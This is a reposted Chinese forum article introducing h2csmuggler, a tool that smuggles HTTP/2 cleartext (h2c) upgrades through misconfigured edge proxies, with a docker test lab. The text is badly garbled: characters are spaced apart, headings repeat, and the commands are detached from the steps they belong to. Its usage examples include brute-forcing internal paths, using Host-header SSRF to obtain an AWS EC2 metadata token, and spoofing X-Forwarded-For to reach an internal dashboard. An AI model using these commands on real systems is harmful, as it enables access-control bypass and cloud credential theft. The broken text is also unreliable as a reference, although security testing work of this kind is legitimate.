搜索

[16115] 2020-11-21_h2csmuggler：一款隐蔽性极强的HTTP2明文通信工具

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2020-11-21_h2csmuggler：一款隐蔽性极强的HTTP2明文通信工具 h 2 c s m u g g l e r ： 一 款 隐 蔽 性 极 强 的 H T T P 2 明 文 通 信 工 具 A l p h a _ h 4 c k   F r e e B u f   2 0 2 0 - 1 1 - 2 1 工 具 介 绍 工 具 介 绍 h 2 c s m u g g l e r 是 一 款 隐 蔽 性 极 强 的 H T T P / 2 明 文 通 信 工 具 ， 该 工 具 能 够 使 用 h 2 c 兼 容 的 后 端 服 务 器 来 建 立 H T T P / 2 明 文 （ h 2 c ） 通 信 ， 并 隐 藏 H T T P 流 量 以 通 过 不 安 全 的 边 缘 服 务 器 p r o x y _ p a s s 配 置 ： 如 何 测 试 ？ 如 何 测 试 ？ 该 工 具 适 用 于 任 何 一 个 能 够 转 发 h 2 c 更 新 H e a d e r 的 代 理 终 端 节 点 。 因 为 h 2 c 本 身 理 应 只 在 明 文 通 信 信 道 上 执 行 ， 在 H T T P s 服 务 中 进 行 检 测 的 话 一 般 结 果 都 会 报 真 阳 性 。 相 反 ， H T T P 服 务 则 有 可 能 产 生 假 阳 性 结 果 。 比 如 说 ， 启 用 了 h 2 c 的 代 理 可 能 会 直 接 响 应 更 新 H e a d e r ， 而 不 是 将 其 转 发 至 一 个 h 2 c 后 端 。 广 大 研 究 人 员 可 以 使 用 — s c a n - l i s t 选 项 来 测 试 一 个 或 多 个 W e b 服 务 器 以 寻 找 受 影 响 的 p r o x y _ p a s s 终 端 节 点 。 建 议 大 家 使 用 一 个 目 录 列 表 来 进 行 目 录 枚 举 ， 比 如 说 下 面 这 个 U R L 文 本 文 件 （ u r l s . t x t ） ： 下 面 的 命 令 将 使 用 下 面 的 命 令 将 使 用 h 2 c S m u g g l e r 扫 描 扫 描 u r l s . t x t ， 并 定 义 扫 描 线 程 数 量 ： ， 并 定 义 扫 描 线 程 数 量 ： 或 者 ， 也 可 以 直 接 使 用 下 列 命 令 扫 描 单 个 节 点 ： 或 者 ， 也 可 以 直 接 使 用 下 列 命 令 扫 描 单 个 节 点 ： 工 具 利 用 工 具 利 用 当 我 们 识 别 出 了 一 个 受 影 响 节 点 之 后 ， 我 们 就 可 以 利 用 它 来 进 行 信 息 传 输 了 。 现 在 ， 我 们 可 以 访 问 或 爆 破 一 台 后 端 服 务 器 的 内 部 终 端 节 点 ， 然 后 提 供 自 定 义 的 语 句 或 H e a d e r 。 在 下 面 的 例 子 中 ， 我 们 将 演 示 如 何 利 用 h 2 c 的 数 据 隐 藏 功 能 来 绕 过 代 理 拒 绝 规 则 ， 并 访 问 内 部 / f l a g 终 端 节 点 。 工 具 依 赖 工 具 依 赖 该 工 具 唯 一 的 依 赖 组 件 就 是 P y t h o n   h y p e r - h 2 库 ， 安 装 代 码 如 下 ： h t t p s : / / w w w . e x a m p l e . c o m / h t t p s : / / w w w . e x a m p l e . c o m / a p i / h t t p s : / / w w w . e x a m p l e . c o m / a u t h / h t t p s : / / w w w . e x a m p l e . c o m / a d m i n / h t t p s : / / w w w . e x a m p l e . c o m / p a y m e n t s / . . . o m i t t e d   f o r   b r e v i t y . . . . / h 2 c s m u g g l e r . p y   - - s c a n - l i s t   u r l s . t x t   - - t h r e a d s   5 . / h 2 c s m u g g l e r . p y   - x   h t t p s : / / w w w . e x a m p l e . c o m / a p i /   - - t e s t p i p 3   i n s t a l l   h 2
测 试 环 境 和 测 试 环 境 和 D e m o 这 个 测 试 环 境 将 允 许 我 们 在 一 个 受 控 环 境 下 使 用 h 2 c S m u g g l e r 进 行 测 试 。 d o c e r - c o m p o s e 将 会 模 拟 三 条 指 向 已 启 用 h 2 c 的 G o l a n g 后 端 服 务 器 的 代 理 ： 我 们 可 以 使 用 下 列 命 令 生 成 证 书 并 与 d o c k e r - c o m p o s e 环 境 绑 定 ： 接 下 来 ， 我 们 尝 试 通 过 H A P r o x y 服 务 器 （ 端 口 8 0 0 1 ） 来 访 问 那 些 被 禁 止 访 问 的 终 端 节 点 ： 我 们 可 以 使 用 h 2 c S m u g g l e r 的 — t e s t （ 或 - t ） 选 项 来 确 认 代 理 的 不 安 全 配 置 ： 现 在 ， 我 们 使 用 h 2 c S m u g g l e r 来 执 行 一 次 h 2 c 更 新 ， 我 们 通 过 代 理 来 传 输 我 们 的 H T T P / 2 流 量 ， 然 后 向 后 端 服 务 器 请 求 访 问 / f l a g 节 点 ， 并 绕 过 代 理 的 访 问 控 制 ： 工 具 使 用 工 具 使 用 h 2 c S m u g g l e r 使 用 了 类 c u r l 语 句 来 处 理 请 求 ： p i p 3   i n s t a l l   h 2 T C P   p o r t :   D e s c r i p t i o n = = = = = = = =     = = = = = = = = = = = 8 0 0 0 :           H T T P   h 2 c   b a c k e n d 8 0 0 1 :           H A P r o x y   - >   h 2 c   b a c k e n d   ( I n s e c u r e   d e f a u l t   c o n f i g u r a t i o n ) 8 0 0 2 :           n g i n x   - >   h 2 c   b a c k e n d     ( I n s e c u r e   c u s t o m   c o n f i g u r a t i o n ) 8 0 0 3 :           N u s t e r   - >   H A P r o x y   - >   h 2 c   b a c k e n d   ( I n s e c u r e   c o n f i g u r a t i o n   w i t h   m u l t i p l e   l a y e r s   o f   p r o x i e s ) #   G e n e r a t e   c e r t s . / c o n f i g s / g e n e r a t e - c e r t i f i c a t e s . s h #   A c t i v a t e   s e r v i c e s d o c k e r - c o m p o s e   u p u s a g e :   h 2 c s m u g g l e r . p y   [ - h ]   [ - - s c a n - l i s t   S C A N _ L I S T ]   [ - - t h r e a d s   T H R E A D S ]   [ - - u p g r a d e - o n l y ]   [ - x   P R O X Y ]   [ - i   W O R D L I S T ]   [ - X   R E Q U E S T ]   [ - d   D A T A ]   [ - H   H E A D E R ]   [ - m   M A X _ T I M E ]   [ - t ]   [ - v ]                                             [ u r l ] D e t e c t   a n d   e x p l o i t   i n s e c u r e   f o r w a r d i n g   o f   h 2 c   u p g r a d e s . p o s i t i o n a l   a r g u m e n t s :     u r l o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - s c a n - l i s t   S C A N _ L I S T                                                 l i s t   o f   U R L s   f o r   s c a n n i n g     - - t h r e a d s   T H R E A D S           #   o f   t h r e a d s   ( f o r   u s e   w i t h   - - s c a n - l i s t )     - - u p g r a d e - o n l y                 d r o p   H T T P 2 - S e t t i n g s   f r o m   o u t g o i n g   C o n n e c t i o n   h e a d e r     - x   P R O X Y ,   - - p r o x y   P R O X Y
工 具 使 用 样 例 工 具 使 用 样 例 1 、 扫 描 U R L 地 址 列 表 来 识 别 受 影 响 的 终 端 节 点 ： 或 者 ， 将 数 据 结 果 重 定 向 到 目 标 文 件 ： 2 、 发 送 特 制 的 P O S T 请 求 来 绕 过 边 缘 服 务 器 并 抵 达 内 部 节 点 ： 3 、 使 用 H T T P / 2 多 路 复 用 爆 破 内 部 节 点 ： 4 、 利 用 H o s t   H e a d e r   S S R F ， 获 取 令 牌 ： 发 送 令 牌 ： 5 、 使 用 X - F o r w a r d e d - F o r   H e a d e r 实 现 I P 地 址 欺 骗 ， 并 访 问 内 部 节 点 仪 表 盘 ： 项 目 地 址 项 目 地 址 h 2 c S m u g g l e r ： h t t p s : / / g i t h u b . c o m / B i s h o p F o x / h 2 c s m u g g l e r % E 3 % 8 0 % 8 1 精 彩 推 荐 精 彩 推 荐     - x   P R O X Y ,   - - p r o x y   P R O X Y                                                 p r o x y   s e r v e r   t o   t r y   t o   b y p a s s     - i   W O R D L I S T ,   - - w o r d l i s t   W O R D L I S T                                                 l i s t   o f   p a t h s   t o   b r u t e f o r c e     - X   R E Q U E S T ,   - - r e q u e s t   R E Q U E S T                                                 s m u g g l e d   v e r b     - d   D A T A ,   - - d a t a   D A T A     s m u g g l e d   d a t a     - H   H E A D E R ,   - - h e a d e r   H E A D E R                                                 s m u g g l e d   h e a d e r s     - m   M A X _ T I M E ,   - - m a x - t i m e   M A X _ T I M E                                                 s o c k e t   t i m e o u t   i n   s e c o n d s   ( t y p e :   f l o a t ;   d e f a u l t   1 0 )     - t ,   - - t e s t                         t e s t   a   s i n g l e   p r o x y   s e r v e r     - v ,   - - v e r b o s e . / h 2 c s m u g g l e r . p y   - - s c a n - l i s t   u r l s . t x t   - - t h r e a d s   5 . / h 2 c s m u g g l e r . p y   - - s c a n - l i s t   u r l s . t x t   - - t h r e a d s   5   2 > e r r o r s . t x t   1 > r e s u l t s . t x t . / h 2 c s m u g g l e r . p y   - x   h t t p s : / / e d g e s e r v e r   - X   P O S T   - d   ' { " u s e r " : 1 2 8 4 5 7   " r o l e " :   " a d m i n " } '   - H   " C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n "   - H   " X - S Y S T E M - U S E R :   t r u e "   h t t p : / / b a c k e n d / a p i / i n t e r n a l / u s e r / p e r m i s s i o n s / h 2 c s m u g g l e r . p y   - x   h t t p s : / / e d g e s e r v e r   - i   d i r s . t x t   h t t p : / / l o c a l h o s t / . / h 2 c s m u g g l e r . p y   - x   h t t p s : / / e d g e s e r v e r   - X   P U T   - H   " X - a w s - e c 2 - m e t a d a t a - t o k e n - t t l - s e c o n d s :   2 1 6 0 0 "   h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / a p i / t o k e n ` . / h 2 c s m u g g l e r . p y   - x   h t t p s : / / e d g e s e r v e r   - H   " x - a w s - e c 2 - m e t a d a t a - t o k e n :   T O K E N "   h t t p : / / 1 6 9 . 2 5 4 . 1 6 9 . 2 5 4 / l a t e s t / m e t a - d a t a / . / h 2 c s m u g g l e r . p y   - x   h t t p s : / / e d g e s e r v e r   - H   " X - F o r w a r d e d - F o r :   1 2 7 . 0 . 0 . 1 "   - H   " X - R e a l - I P :   1 7 2 . 1 6 . 0 . 1 "   h t t p : / / b a c k e n d / s y s t e m / d a s h b o a r d
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理